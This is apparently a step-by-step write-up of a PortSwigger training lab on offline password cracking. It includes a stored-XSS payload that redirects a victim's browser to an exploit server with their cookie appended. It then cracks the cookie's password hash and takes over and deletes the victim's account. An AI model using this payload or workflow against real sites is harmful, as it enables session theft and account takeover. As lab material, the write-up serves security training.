Portswigger writeup - Offline Password Cracking

This lab is in the same series than the previous article. The goal here to steal Carlos’s “stay-logged-in” cookie to steal and delete his account.

Lab: Offline password cracking

1. Click “My account button”

   

2. Enter Wiener’s credentials, click “stay-logged-in” option and click “Log in”

   

3. In Proxy > HTTP History, click the the GET reset “/my-account” and click on the arrow on the “stay-logged-in” cookie

   

4. The base64 string is decoded: username:passwordO

   

5. Click “Home”

   

6. Click a “View post” button

   

7. In another tab, open the Exploit Server

   

8. Copy its URL

   

9. On the post opened at step 6, bottom page, add the following payload (change the URL for your exploit server), as well as random name, email address and website URL. Then click “Post comment”: <script>document.location='https://exploit-server-url.com'+document.cookie</script>

   

10. Click “Back to blog”

    

11. The blog post will be redirected to a similar page (here on Firefox)

    

12. Go back the the exploit server and click “Access log”

    

13. A GET reset “/exploitserver” appears in the list, containing a “stay-logged-in” cookie, copy its string

    

14. Go to base64decode.org, paste the string previously copied to decode it and copy the hashed password, after “carlos:”

    

15. Go to crackstation.net and paste the hash to get Carlos’s password

    

16. Go back to the lab’s tab and click multiple times on the “Go back” button until you can see the website without being redirected

    

17. If needed, click “My account”, according to the point you have reached using the “Go back” button, and click “Log out”

    

18. Click “My account” again

    

19. Enter “carlos” as a username and the password previously found at step 16 on Crackstation, “onceuponatime”, and click “Log in”

    

20. When you are on Carlos’s “My account” page, click “Delete account”

    

21. Paste one more time his password as a confirmation and click “Delete account!”

    

22. The lab is solved